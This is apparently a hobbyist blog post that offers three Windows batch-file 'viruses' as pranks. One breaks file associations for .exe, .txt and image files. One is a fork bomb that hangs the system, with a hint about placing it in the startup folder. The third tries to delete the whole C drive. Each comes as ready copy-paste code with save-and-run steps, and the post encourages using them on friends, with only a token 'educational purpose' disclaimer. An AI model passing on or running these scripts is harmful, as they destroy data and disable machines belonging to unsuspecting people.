Extension Changer Virus

Guys, have you even imagined that if you can change the extensions of all the files in one go?

Yes, this is possible. :)

You can change the extensions of the existing files & make them useless.

For example you have a set of .txt files (say ~1000 files), you can change its extension in one go to anything & this would make the file useless (until the user knows). 

You can use this as a prank or fun moments or to trouble your friends. :)

Here we go:

As usual, open the notepad, paste the code & save it as a batch (.bat) file.

#########################################

@echo off

assoc .txt=anything // this command associates extension .txt with filetype anything.

assoc .exe=anything

assoc .jpeg=anything

assoc .png=anything

assoc .mpeg=anything

#########################################

Every extension is associated with a filetype like extension ‘exe’ is  is associated with filetype ‘exefile’. To see them, just enter command ‘assoc’ in command prompt.

Above code changes the association of some extensions to filetype ‘anything’ (means u can write anything) which obviously doesn’t exist. So all exe (paint,games,command prompt and many more),jpeg,png,mpeg files wudn’t open properly.

Fork Bomb

Guys, what do you understand by a Fork Bomb?  

Most of you must be aware of this, but today I am going to show you a smallest virus that can can act like a grenade.

Believe me, you are gonna love this virus. It basically consumes all the CPU resources & make it hanged.

This code creates a large number of processes very quickly in order to saturate the process table of windows. And it will just hang the windows. No solution other than reboot the windows.

& if this virus is present in startup folder, god saves you. :)

(if this is in startup, then also it can be prevented, I will show you that in another article)

So here is the code:

Tiny but most powerful:

%0|%0

Just copy these 5 characters in a notepad & save it as .bat file. run this & be amazed of it. :)

If you want to see some other viruses as well then just click the below link:

http://techg33ks.blogspot.in/

Keep visiting to have more fun stuff.

Virus for Fun

Hi Mates,
I am back again with a deadly virus that can cause your laptop/computer to install an OS again from scratch. This virus can be even more deadly if you are having your stuff in your "C" drive. 

So the first thing to understand is, never put your important things in "c" drive. :D

Ok, let's start with VIRUS now. :)

save your computer

   1. Open Notepad and copy below code into it.

@Echo off
Del C:\ *.* |y

   2. Save this file as virus.bat (Name can be anything but .bat is must)
   3. Now, running this file will delete all the content of C Drive.

[Note: Again this article is for educational purpose, try this at your own risk]